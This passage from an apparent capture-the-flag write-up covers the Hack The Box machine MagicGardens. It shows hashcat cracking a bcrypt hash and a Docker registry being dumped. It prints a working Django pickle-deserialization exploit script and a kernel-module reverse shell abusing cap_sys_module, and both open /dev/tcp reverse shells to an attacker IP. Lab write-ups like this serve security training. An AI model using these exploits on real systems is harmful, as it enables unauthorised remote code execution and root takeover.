Time.Estimated...: Mon Feb 10 11:16:11 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    66754 H/s (0.37ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4096/14344385 (0.03%)
Rejected.........: 0/4096 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> oooooo
Hardware.Mon.#1..: Temp: 74c Util: 20%

Started: Mon Feb 10 11:15:32 2025
Stopped: Mon Feb 10 11:16:12 2025
3

Extract the file

unzip auth.zip
Archive:  auth.zip
[auth.zip] htpasswd password: 
 extracting: htpasswd 
cat htpasswd
AlexMiles:$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq

The file contains the hash.

4

Crack the hash

hashcat -a 0 -m 3200 htpasswd /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq:diamonds
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhH...2Pa5Hq
Time.Started.....: Mon Feb 10 11:21:21 2025 (1 sec)
Time.Estimated...: Mon Feb 10 11:21:22 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     3990 H/s (7.50ms) @ Accel:8 Loops:16 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 960/14344385 (0.01%)
Rejected.........: 0/960 (0.00%)
Restore.Point....: 896/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:16-32
Candidate.Engine.: Device Generator
Candidates.#1....: hawaii -> sandy
Hardware.Mon.#1..: Temp: 68c Util: 18%

Started: Mon Feb 10 11:21:17 2025
Stopped: Mon Feb 10 11:21:23 2025

Pillaging - Docker registry [ Port 5000 ]

Using the above credentials gives us access to the Docker registry.

curl -k https://magicgardens.htb:5000/v2/ -u AlexMiles:diamonds
{}% 

Checked the registry and it only contains only one repository.

curl -k https://magicgardens.htb:5000/v2/_catalog -u AlexMiles:diamonds
{"repositories":["magicgardens.htb"]}

Dumping

1

Git clone the repository

git clone https://github.com/Syzik/DockerRegistryGrabber.git                                            
Cloning into 'DockerRegistryGrabber'...
remote: Enumerating objects: 120, done.
remote: Counting objects: 100% (68/68), done.
remote: Compressing objects: 100% (53/53), done.
remote: Total 120 (delta 35), reused 33 (delta 15), pack-reused 52 (from 1)
Receiving objects: 100% (120/120), 878.35 KiB | 202.00 KiB/s, done.
Resolving deltas: 100% (54/54), done.
2

Create the python virtual environment and activate it

python3 -m venv .venv
source .venv/bin/activate
3

Install the required dependencies and libraries

pip3 install -r requirements.txt
Collecting requests==2.25.1
  Downloading requests-2.25.1-py2.py3-none-any.whl (61 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 61.2/61.2 kB 57.3 kB/s eta 0:00:00
Collecting argparse
  Using cached argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Collecting rich
  Using cached rich-13.9.4-py3-none-any.whl (242 kB)
Collecting urllib3
  Using cached urllib3-2.3.0-py3-none-any.whl (128 kB)
Collecting chardet<5,>=3.0.2
  Downloading chardet-4.0.0-py2.py3-none-any.whl (178 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 178.7/178.7 kB 75.0 kB/s eta 0:00:00
Collecting idna<3,>=2.5
  Downloading idna-2.10-py2.py3-none-any.whl (58 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 58.8/58.8 kB 125.7 kB/s eta 0:00:00
Collecting urllib3
  Downloading urllib3-1.26.20-py2.py3-none-any.whl (144 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 144.2/144.2 kB 218.0 kB/s eta 0:00:00
Collecting certifi>=2017.4.17
  Using cached certifi-2025.1.31-py3-none-any.whl (166 kB)
Collecting markdown-it-py>=2.2.0
  Using cached markdown_it_py-3.0.0-py3-none-any.whl (87 kB)
Collecting pygments<3.0.0,>=2.13.0
  Using cached pygments-2.19.1-py3-none-any.whl (1.2 MB)
Collecting mdurl~=0.1
  Using cached mdurl-0.1.2-py3-none-any.whl (10.0 kB)
Installing collected packages: argparse, urllib3, pygments, mdurl, idna, chardet, certifi, requests, markdown-it-py, rich
Successfully installed argparse-1.4.0 certifi-2025.1.31 chardet-4.0.0 idna-2.10 markdown-it-py-3.0.0 mdurl-0.1.2 pygments-2.19.1 requests-2.25.1 rich-13.9.4 urllib3-1.26.20
4

Execute the drg.py to dump the Docker registry repository

python3 drg.py https://magicgardens.htb --dump magicgardens.htb -U AlexMiles -P diamonds                                                                               
[+] BlobSum found 32
[+] Dumping magicgardens.htb
    [+] Downloading : d3a3443a740ae9a727dbd8868b751b492da27507f3cbbe0965982e65c436b8c0
    [+] Downloading : 2ed799371a1863449219ad8510767e894da4c1364f94701e7a26cc983aaf4ca6
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c
    [+] Downloading : 748da8c1b87e668267b90ea305e2671b22d046dcfeb189152bf590d594c3b3fc
    [+] Downloading : 81771b31efb313fb18dae7d8ca3a93c8c4554aa09239e09d61bbbc7ed58d4515
    [+] Downloading : 35b21a215463f8130302987a1954d01a8346cdd82c861d57eeb3cfb94d6511a8
    [+] Downloading : 437853d7b910e50d0a0a43b077da00948a21289a32e6ce082eb4d44593768eb1
    [+] Downloading : f9afd820562f8d93873f4dfed53f9065b928c552cf920e52e804177eff8b2c82
    [+] Downloading : d66316738a2760996cb59c8eb2b28c8fa10a73ce1d98fb75fda66071a1c659d6
    [+] Downloading : fedbb0514db0150f2376b0f778e5f304c302b53619b96a08824c50da7e3e97ea
    [+] Downloading : 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb
    [+] Downloading : 02cea9e48b60ccaf6476be25bac7b982d97ef0ed66baeb8b0cffad643ece37d5
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : 8999ec22cbc0ab31d0e3471d591538ff6b2b4c3bbace9c2a97e6c68844382a78
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : 470924304c244ba833543bb487c73e232fd34623cdbfa51d30eab30ce802a10d
    [+] Downloading : 4bc8eb4a36a30acad7a56cf0b58b279b14fce7dd6623717f32896ea748774a59
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : 9c94b131279a02de1f5c2eb72e9cda9830b128840470843e0761a45d7bebbefe
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : c485c4ba383179db59368a8a4d2df3e783620647fe0b014331c7fd2bd8526e5b
    [+] Downloading : 9b1fd34c30b75e7edb20c2fd09a9862697f302ef9ae357e521ef3c84d5534e3f
    [+] Downloading : d31b0195ec5f04dfc78eca9d73b5d223fc36a29f54ee888bc4e0615b5839e692
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : de4cac68b6165c40cf6f8b30417948c31be03a968e233e55ee40221553a5e570

Extracting all the layers, listing all the files and folders.

ls -1 | while read fn; do tar -xf "${fn}"; done
ls -la  | grep -v tar.gz
total 472300
drwxr-xr-x 1 dexter dexter      3136 Feb 10 11:57 .
drwxr-xr-x 1 dexter dexter       372 Feb 10 11:55 ..
lrwxrwxrwx 1 dexter dexter         7 Aug 13  2023 bin -> usr/bin
drwxr-xr-x 1 dexter dexter         0 Jul 14  2023 boot
drwxr-xr-x 1 dexter dexter         0 Aug 13  2023 dev
drwxr-xr-x 1 dexter dexter      1698 Aug 28  2023 etc
drwxr-xr-x 1 dexter dexter         0 Jul 14  2023 home
lrwxrwxrwx 1 dexter dexter         7 Aug 13  2023 lib -> usr/lib
lrwxrwxrwx 1 dexter dexter         9 Aug 13  2023 lib32 -> usr/lib32
lrwxrwxrwx 1 dexter dexter         9 Aug 13  2023 lib64 -> usr/lib64
lrwxrwxrwx 1 dexter dexter        10 Aug 13  2023 libx32 -> usr/libx32
drwxr-xr-x 1 dexter dexter         0 Aug 13  2023 media
drwxr-xr-x 1 dexter dexter         0 Aug 13  2023 mnt
drwxr-xr-x 1 dexter dexter         0 Aug 13  2023 opt
drwxr-xr-x 1 dexter dexter         0 Jul 14  2023 proc
drwx------ 1 dexter dexter       106 Aug 13  2023 root
drwxr-xr-x 1 dexter dexter        40 Aug 13  2023 run
lrwxrwxrwx 1 dexter dexter         8 Aug 13  2023 sbin -> usr/sbin
drwxr-xr-x 1 dexter dexter         0 Aug 13  2023 srv
drwxr-xr-x 1 dexter dexter         0 Jul 14  2023 sys
drwxr-xr-x 1 dexter dexter         0 Aug 13  2023 tmp
drwxr-xr-x 1 dexter dexter       116 Aug 13  2023 usr
drwxr-xr-x 1 dexter dexter        96 Aug 13  2023 var

It has same file system as linux file system. The /usr/src/app directory contains the python application.

cd /usr/src/app
ls -la
total 188
drwxr-xr-x 1 dexter dexter    142 Aug 28  2023 .
drwxr-xr-x 1 dexter dexter    266 Aug 28  2023 ..
drwxr-x--- 1 dexter dexter    108 Aug 11  2023 app
-rwxr-x--- 1 dexter dexter 176128 May 23  2024 db.sqlite3
-rwxr-x--x 1 dexter dexter    156 Aug 11  2023 entrypoint.sh
-rwxr-x--- 1 dexter dexter     97 Aug 11  2023 .env
-rwxr-x--- 1 dexter dexter    561 Aug 11  2023 manage.py
drwxr-x--- 1 dexter dexter    206 Aug 11  2023 media
-rwxr-x--- 1 dexter dexter     77 Aug 11  2023 requirements.txt
drwxr-x--- 1 dexter dexter     20 Aug 11  2023 static
drwxr-x--- 1 dexter dexter    188 May  6  2024 store

The .env file contains the application SECRET_KEY and app/settings.py shows that it is using PickleSerializer which is no longer supported in django.

.env
DEBUG=False
SECRET_KEY=55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b% 
settings.py
----- SNIP -----
SESSION_ENGINE  = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_COOKIE_HTTPONLY = False
----- SNIP -----

Pivoting

Shell - Docker Container [ root - django serialization rce exploit ]

1

Creating the python script by using the secret key and previously gained cookie

django_serialization_rce.py
import os
import sys
import django.core.signing
import requests
from django.conf import settings
from django.contrib.sessions.serializers import PickleSerializer


class PickleRCE(object):
    def __reduce__(self):
        return (os.system, (f"bash -c 'bash -i >& /dev/tcp/{sys.argv[2]}/{sys.argv[3]} 0>&1'",))
    

if len(sys.argv) != 4:
    print(f"{sys.argv[0]} <url> <shell ip> <shell port>")
    sys.exit(1)

url = sys.argv[1] if sys.argv[1].startswith('http') else f'http://{sys.argv[1]}'

salt = "django.contrib.sessions.backends.signed_cookies"
settings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b")
cookie = ".eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1th8zo:GDhmDjeeWu1fLsFsA1CLjYdUfg7MXObXlz_M3tWX3Ss"
cookie_obj = django.core.signing.loads(cookie, serializer=PickleSerializer,salt=salt)
cookie_obj['testcookie'] = PickleRCE()

new_cookie = django.core.signing.dumps(cookie_obj,serializer=PickleSerializer,salt=salt,compress=True)
print(f"[+] Generated malicious cookie: {new_cookie}")
requests.get("http://magicgardens.htb", cookies={"sessionid": new_cookie})
2

Downgrade the django version

python3 django_serialization_rce.py
Traceback (most recent call last):
  File "/home/dexter/HTB/Machines/MagicGardens/django_serialization_rce.py", line 6, in <module>
    from django.contrib.sessions.serializers import PickleSerializer
ImportError: cannot import name 'PickleSerializer' from 'django.contrib.sessions.serializers' (/home/dexter/HTB/Machines/MagicGardens/.venv/lib/python3.11/site-packages/django/contrib/sessions/serializers.py)

The current version of django doesn't support the PickleSerializer, so it is giving us error.

pip3 install django==4.1.13
Collecting django==4.1.13
  Downloading Django-4.1.13-py3-none-any.whl (8.1 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 8.1/8.1 MB 1.2 MB/s eta 0:00:00
Requirement already satisfied: asgiref<4,>=3.5.2 in ./.venv/lib/python3.11/site-packages (from django==4.1.13) (3.8.1)
Requirement already satisfied: sqlparse>=0.2.2 in ./.venv/lib/python3.11/site-packages (from django==4.1.13) (0.5.3)
Installing collected packages: django
  Attempting uninstall: django
    Found existing installation: Django 5.1.6
    Uninstalling Django-5.1.6:
      Successfully uninstalled Django-5.1.6
Successfully installed django-4.1.13

Downgrading the django version in which it supports the PickleSerializer.

3

Getting the shell

Open the nc listener and execute the script, we will get the shell.

nc -lvnp 8443
Listening on 0.0.0.0 8443
python3 django_serialization_rce.py magicgardens.htb 10.10.16.7 8443
[+] Generated malicious cookie: .eJxNUD1PwzAQbYdWFBUh8QsytTDgxI7TNEuF2FngB0S24xDTNq7iC9ABiYXNG8f_JWlB6umGex-6J73P0c96ODjMB177s9bpphZbjX60tQ3s0Y8dCGhdRzyBKEv0kzfjqnxjHKAfoJ8eoLJtDbrBauwnSjRw1Ds0PaAT-SIXLVR5H5SbAv2Qob864aRQa113wk3xIupnS5StoTGS9BbypzryYAu9uf_3Xp48qISr0N_RRJWsTDMa6yjhTOslU1kkJaeizCgTyTJaxKpMUrWgUjIZaRZzzamSacxVlqE_B-1AWbs2fR0768x7X8fegd7iN3omu6TgVgXz42GC1SwIC_0agtqFNCL9LkgaLjmPg2g1o3P8wkdsyS-Qb4Pr:1theXR:AakvmU_JY1CmSCvHcEv1vI4HYQ46ZDY3iMintkEqyFA
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.9 42570
bash: cannot set terminal process group (17): Inappropriate ioctl for device
bash: no job control in this shell
root@5e5026ac6a81:/usr/src/app# 

We have to create the python virtual environment and activate it to execute above script if not done previously.


Privilege Escalation

Pillaging - Docker Container [ root ]

root@5e5026ac6a81:/usr/src/app# capsh --print
capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)

Listing the capabilities reveals the cap_sys_module, which allows the container to load and unload kernel modules.

Shell - root [ cap_sys_module exploit ]

1

Copying the reverse-shell.c and Makefile from the post and replacing the IP and Port.

reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.7/9443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile
obj-m +=reverse-shell.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules # The space has to be created using tab not the spacebar otherwise the missing seprator error will occur.

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean # The space has to be created using tab not the spacebar otherwise the missing seprator error will occur.
2

Sending the reverse-shell.c and Makefile into Docker Container.

python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.9 - - [10/Feb/2025 21:00:21] "GET /reverse-shell.c HTTP/1.1" 200 -
10.10.11.9 - - [10/Feb/2025 21:00:36] "GET /Makefile HTTP/1.1" 200 -
root@5e5026ac6a81:/tmp# wget http://10.10.16.7:8000/reverse-shell.c
wget http://10.10.16.7:8000/reverse-shell.c
--2025-02-11 02:00:22--  http://10.10.16.7:8000/reverse-shell.c
Connecting to 10.10.16.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 717 [text/x-csrc]
Saving to: ‘reverse-shell.c’

     0K                                                       100%  193K=0.004s

2025-02-11 02:00:24 (193 KB/s) - ‘reverse-shell.c’ saved [717/717]

root@5e5026ac6a81:/tmp# wget http://10.10.16.7:8000/Makefile
wget http://10.10.16.7:8000/Makefile
--2025-02-11 02:00:37--  http://10.10.16.7:8000/Makefile
Connecting to 10.10.16.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 168 [application/octet-stream]
Saving to: ‘Makefile’

     0K                                                       100% 15.5M=0s

2025-02-11 02:00:39 (15.5 MB/s) - ‘Makefile’ saved [168/168]
3

Compile it using make.

root@5e5026ac6a81:/tmp# make
make
make -C /lib/modules/6.1.0-20-amd64/build M=/tmp modules
make[1]: Entering directory '/usr/src/linux-headers-6.1.0-20-amd64'
  CC [M]  /tmp/reverse-shell.o
  MODPOST /tmp/Module.symvers
  CC [M]  /tmp/reverse-shell.mod.o
  LD [M]  /tmp/reverse-shell.ko
  BTF [M] /tmp/reverse-shell.ko
Skipping BTF generation for /tmp/reverse-shell.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.1.0-20-amd64'
root@5e5026ac6a81:/tmp# 
4

Open the nc listener and run insmod.

root@5e5026ac6a81:/tmp# insmod reverse-shell.ko
insmod reverse-shell.ko
root@5e5026ac6a81:/tmp# 
nc -lvnp 9443                
Listening on 0.0.0.0 9443
Connection received on 10.10.11.9 49744
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@magicgardens:/# whoami  
whoami
root
root@magicgardens:/# 

Proof of Concepts

The below video provides the PoC of MagicGardens machine.

The endpoint to generate QR code was /qr_code/images/serve-qr-code-image which path is used by and it is conformed by visiting the /admin, which presents us with django admin panel.

The user.txt is contains the user flag

The Docker registry can be dumped using this .

The secret key is revealed and we can forge the valid cookie that is deserialized in the application. The 0xdf has released the script of the exploit.

Hacktricks has created a post for abusing this exploit in this .

The root.txt file in /root directory contains the root flag

👏
🎉
m4rsh3ll
django_qr_code
script
PoC
section
Page cover image